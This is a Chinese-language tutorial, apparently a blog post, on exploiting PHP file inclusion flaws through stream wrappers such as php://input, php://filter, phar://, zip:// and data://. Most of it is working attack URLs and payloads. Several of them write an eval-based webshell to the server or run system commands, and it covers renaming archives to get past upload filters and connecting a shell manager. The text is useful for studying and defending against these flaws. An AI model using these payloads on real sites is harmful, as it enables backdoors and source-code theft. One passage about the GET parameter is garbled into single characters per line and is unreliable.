文件包含&PHP伪协议利用
相关函数
要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1、Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件; 2、用户能够控制该动态变量。
php中引发文件包含漏洞的通常是以下四个函数:
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本,如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。;
(2) Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
(3) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(4)include_once() require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。 (比较常见的还有这些函数:highlight_file() 、show_source() 、readfile() 、file_get_contents() 、fopen() 、file() )
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。 文件包含漏洞简介 文件包含漏洞包括本地包含和远程包含,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。 下面我将详细介绍PHP中的文件包含漏洞
本地包含
将文件包含漏洞的代码写入到PHP文件中(我的文件名是:include.php) 放置网站根目录
<?php
$filename=$_GET['filename'];
include($filename);
?>
G
E
T
[
‘
f
i
l
e
n
a
m
e
’
]
参
数
开
发
者
没
有
经
过
严
格
的
过
滤
,
直
接
带
入
了
i
n
c
l
u
d
e
的
函
数
,
攻
击
者
可
以
修
改
_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改
G?ET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改_GET[‘filename’]的值,执行非预期的操作。
打开图片在末尾插入代码: <?php phpinfo()?>
将图片复制到网站根目录(实战中可以利用文件上传),访问有文件包含漏洞的网站,并且加filename=文件名 ,文件包含漏洞被触发
远程包含
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。 但RFI的利用条件较为苛刻,需要php.ini中进行配置
allow_url_fopen = On allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。 比如这里我在php.ini中把它们改成off,然后重启服务器: 查看是否允许包含url里的封装协议包含文件 all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off; allow_url_fopen = On (允许打开URL文件,预设启用) allow_url_fopen = Off (禁止打开URL文件) allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭) allow_url_include = On (允许引用URL文件,新版增加功能)
php伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
file://
file://伪协议用于访问本地文件系统
利用条件:
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势:
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
PHP协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input php://filter用于读取源码: php://input用于执行php代码。
php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。
利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
姿势:
fileinclude.php?file=php://input
POST:
<?php phpinfo(); ?>
php://input(写入木马)
利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
姿势:
fileinclude.php?file=php://input
POST:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>
执行完,同目录下便生成了马儿:
注意:碰到file_get_contents() 就要想到用php://input 绕过
碰到file_get_contents() 就要想到用php://input 绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。
file_get_contents() :这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。
- 除此之外,通过实践我发现这个函数如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像
curl 命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input 可以将POST的数据读过来来赋值给参数。
测试代码:
<?php
echo file_get_contents("php://input");
?>
php://filter
元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。
利用条件:
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势: php://filter读取php文件时候需要base64编码
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php
//效果跟前面的一样,少了read等关键字。在绕过一些waf时也许有用。
使用base64加密来获取文件中的内容,为什么要用base64加密显示内容呢?目的是防止显示出来的内容出现乱码现象 127.0.0.1/include.php/?filename=php://filter/read=convert.base64-encode/resource=index.php
phar://
这个就是php解压缩包的一个伪协议,不管后缀是什么,都会当做压缩包来解压。
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势:
写一个文件phpinfo.php,其内容为<?php phpinfo(); ?> ,打包成zip压缩文件格式的压缩包,如下: 指定绝对路径:
fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php
或者使用相对路径(这里test.zip 就在当前目录下,和fileinclude.php 同一目录):
fileinclude.php?file=phar://test.zip/phpinfo.php
注意:其中test.zip 必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip 的后缀可以不是zip,可以是像test.jpg ,甚至test.111 这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111 这样的后缀肯定不会被拦截了,这时就能成功:
phar://(命令执行)
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势:
同phar:// ,只不过把文件内容改成<?php system('whoami');?>
phar://(写入木马)
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势:
写一个木马shell.php,其内容为<?php @eval($_POST[v]);?> ,打包成zip压缩文件格式的压缩包,如下:
指定绝对路径
http://192.168.1.4/fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php
或者使用相对路径(这里test.zip 就在当前目录下)
http://192.168.1.4/fileinclude.php?file=phar://test.zip/shell.php
先访问url地址,然后马儿就写进去了。
然后用shell管理工具,将上面两个的url地址随便选一个,填写到shell管理工具的url地址里,比如蚁剑等便能成功连接。
注意:其中test.zip 必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip 的后缀可以不是zip,可以是像test.jpg ,甚至test.111 这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111 这样的后缀肯定不会被拦截了,这时就能成功。
zip://
zip伪协议和phar伪协议类似,但是用法不一样。
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势: 构造zip包的方法同phar:
写一个文件phpinfo.php,其内容为<?php phpinfo(); ?> ,打包成zip压缩文件格式的压缩包,如下: 但是使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用# ,还要将# 给URL编码为%23 ,之后填上压缩包内的文件。
fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php
若是使用相对路径,则会文件包含失败。
注意:这里需要注意的和phar:// 中的注意一样,其中test.zip 必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip 的后缀可以不是zip,可以是像test.jpg ,甚至test.111 这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111 这样的后缀肯定不会被拦截了,这时就能成功:
zip://(命令执行)
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势:
同zip:// ,只不过把文件内容改成<?php system('whoami');?>
zip://(写入木马)
利用条件:
- php版本大于等于php5.3.0
- 对allow_url_include不做要求。
- 对allow_url_fopen不做要求。
姿势: 构造zip包的方法同phar:
写一个木马shell.php,其内容为<?php @eval($_POST[v]);?> ,打包成zip压缩文件格式的压缩包,如下: 但是使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用# ,还要将# 给URL编码为%23 ,之后填上压缩包内的文件。
http://192.168.1.4/fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23shell.php
先访问该url地址,然后马儿就写进去了。
若是使用相对路径,则会getshell失败。
注意:这里需要注意的和phar:// 中的注意一样,其中test.zip 必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip 的后缀可以不是zip,可以是像test.jpg ,甚至test.111 这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111 这样的后缀肯定不会被拦截了,这时就能成功:
data://
数据流封装器,和php:// 相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。
利用条件:
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
姿势一:
fileinclude.php?file=data:text/plain,<?php phpinfo();?>
|